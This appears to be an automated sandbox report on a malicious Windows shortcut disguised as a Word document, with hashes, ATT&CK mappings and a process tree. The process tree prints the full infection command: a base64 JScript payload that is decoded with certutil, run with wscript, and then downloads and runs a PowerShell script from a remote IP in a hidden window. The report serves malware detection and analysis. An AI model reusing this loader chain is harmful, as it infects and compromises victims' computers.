76951b19b300a78e26d5b5f592f69ebacdf651bce90beedbf3c4d570a38ef5f3

Analysis

max time kernel
299s
max time network
4s
platform
windows11-ltsc_2024_x64
resource
win11ltsc2024-20260709-en
resource tags

arch:x64arch:x86image:win11ltsc2024-20260709-enlocale:en-usos:windows11-ltsc_2024-x64systemwindows
submitted
15/07/2026, 04:31

Sharing

Copy URL Twitter E-mail

Report Analysis Logs

General

Target
form_c.docx.lnk
Size 72KB
Sample260715-e5hmcsev7s
SHA256 76951b19b300a78e26d5b5f592f69ebacdf651bce90beedbf3c4d570a38ef5f3
MD5 d0b7bbf4f54181f2cb7ead3bbcdaccb1
SHA1 c0531fa22685a73d1633d54bf43a6360d2196819
SHA512 4a8421c554ae747cc937130b265a1a4d0d7d306a025007566a3460329368bb8eb1db1e1bd35465e94c0580224322a7b01f41ba6fc2311ddc674b5e545e57f094
SSDEEP 24:8d/B2xYnHRUPFyaWInZU8lvsx1WOHmnTZzs+m9lMAMI:8lcYnxUsanwDHHmtu9lMA
TLSH
T19773663075F91118E2F3EFB16DB4B6E58DAAF673697102195981030E4900E50FD61B3A
MD5 SHA1 SHA512 SSDEEP TLSH

Score

8^/10

defense_evasion execution

Malware Config

Signatures

Badlisted process makes network request 1 IoCs

Network request originating from process or tool commonly abused by malware.

flow	pid	Process
1	4384	wscript.exe

Command and Scripting Interpreter: PowerShell 1 TTPs 1 IoCs

Run Powershell and hide display window.

execution

PowerShell

T1059.001

pid	Process
4136	powershell.exe

Deobfuscate/Decode Files or Information 1 TTPs 2 IoCs

Payload decoded via CertUtil.

defense_evasion

Deobfuscate/Decode Files or Information

T1140

pid	Process
5432	certutil.exe
2132	cmd.exe

Command and Scripting Interpreter: JavaScript 1 TTPs
execution

JavaScript
T1059.007
Enumerates physical storage devices 1 TTPs
Attempts to interact with connected storage/optical drive(s).

System Information Discovery
T1082

Suspicious behavior: EnumeratesProcesses 2 IoCs

pid	Process
4136	powershell.exe
4136	powershell.exe

Suspicious use of AdjustPrivilegeToken 1 IoCs

description	pid	Process
Token: SeDebugPrivilege	4136	powershell.exe

Suspicious use of WriteProcessMemory 4 IoCs

description	pid	Process	procid_target
PID 4396 wrote to memory of 2132	4396	cmd.exe	88
PID 2132 wrote to memory of 5432	2132	cmd.exe	89
PID 2132 wrote to memory of 4384	2132	cmd.exe	90
PID 4384 wrote to memory of 4136	4384	wscript.exe	91

C:\Windows\system32\cmd.exe
cmd /c C:\Users\Admin\AppData\Local\Temp\form_c.docx.lnk
1⤵
- Suspicious use of WriteProcessMemory
PID:4396
- C:\Windows\System32\cmd.exe
  "C:\Windows\System32\cmd.exe" /c "cd /d C:\Users\Admin\AppData\Local\Temp && echo dmFyIGg9bmV3IEFjdGl2ZVhPYmplY3QoIk1TWE1MMi5TZXJ2ZXJYTUxIVFRQLjYuMCIpO2gub3BlbigiR0VUIiwiaHR0cDovLzg5LjEwNi44My40MC9TdW1tL2NvbWJhdHBlbi5wczEiLGZhbHNlKTtoLnNldFJlcXVlc3RIZWFkZXIoIlVzZXItQWdlbnQiLCJVQSBXaW5kb3dzUG93ZXJTaGVsbCIpO2guc2VuZCgpO25ldyBBY3RpdmVYT2JqZWN0KCJTaGVsbC5BcHBsaWNhdGlvbiIpLlNoZWxsRXhlY3V0ZSgicG93ZXJzaGVsbC5leGUiLCItTm9QIC1XIEhpZGRlbiAtQyAiK2gucmVzcG9uc2VUZXh0LCIiLCJvcGVuIiwwKTs= > GV.b64 && certutil -decode GV.b64 Sqpf.js >nul && wscript //b Sqpf.js && del GV.b64 Sqpf.js"
  2⤵
  - Deobfuscate/Decode Files or Information
  - Suspicious use of WriteProcessMemory
  PID:2132
- - C:\Windows\system32\certutil.exe
    certutil -decode GV.b64 Sqpf.js
    3⤵
    - Deobfuscate/Decode Files or Information
    PID:5432
- - C:\Windows\system32\wscript.exe
    wscript //b Sqpf.js
    3⤵
    - Badlisted process makes network request
    - Suspicious use of WriteProcessMemory
    PID:4384
  - - C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
      "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -NoP -W Hidden -C <!DOCTYPE HTML PUBLIC "-//IETF//DTD HTML 2.0//EN"> <html><head> <title>403 Forbidden</title> </head><body> <h1>Forbidden</h1> <p>You don't have permission to access this resource.</p> <hr> <address>Apache/2.4.58 (Ubuntu) Server at 89.106.83.40 Port 80</address> </body></html>
      4⤵
      Command and Scripting Interpreter: PowerShell
      Suspicious behavior: EnumeratesProcesses
      Suspicious use of AdjustPrivilegeToken
      PID:4136

Network

MITRE ATT&CK Enterprise v16

Reconnaissance

Resource Development

Initial Access

Execution

Command and Scripting Interpreter

T1059

JavaScript

T1059.007

PowerShell

T1059.001

Persistence

Privilege Escalation

Defense Evasion

Deobfuscate/Decode Files or Information

T1140

Credential Access

Discovery

System Information Discovery

T1082

Lateral Movement

Collection

Command and Control

Exfiltration

Impact

Replay Monitor

Loading Replay Monitor...

Downloads

GV.b64

Path C:\Users\Admin\AppData\Local\Temp\GV.b64
Size 400B
SHA256 cdf821754530552b4b82a6eec71cb818eceb3094763b8ad8ff660dd6db193303
MD5 744b68c188c01b5209bbd2a1baf1491c
SHA1 95d5834d39681cf1cf8282c01b424a32b1bb7a7c
SHA512 0701904f5862e208a5cf9944f1b8c6dc622685b227144eae7276d45d0d21a1f5e45d2549645ea40252d446d22e13345bd1d876c3caf4d993bf867599a7dc96b0
TLSH
T1CBE0F1CCF04F2373A6302206AFE5AB68F05C548415023BE20B406C8D3A1FA99D1070DD
MD5 SHA1 SHA512 TLSH

Submit Download

Sqpf.js

Path C:\Users\Admin\AppData\Local\Temp\Sqpf.js
Size 296B
SHA256 56eff7b21dc562d45db416f38d147735b11982768f4e25fbf6000fdb277f7ee2
MD5 89db9edce997e531729a20435a59329f
SHA1 983a092e0450eb7c2cf78140f2a7b0265ae5d898
SHA512 9d3a00ddc5ca5048fc2dbbad5ff85949f8873718d347723085e56aa5163b0b0467ab5807b7d6d38792c2ddfaca6a7f0171ee3768c8248dc9d6e55d1d4d0f1bb2
TLSH
T136E0EBA44070A0EE51CBDFECA460CB6042EF89B87002E8FFF704CED52490308566E28F
MD5 SHA1 SHA512 TLSH

Submit Download

memory/4136-6-0x000002E8E15F0000-0x000002E8E1612000-memory.dmp

Download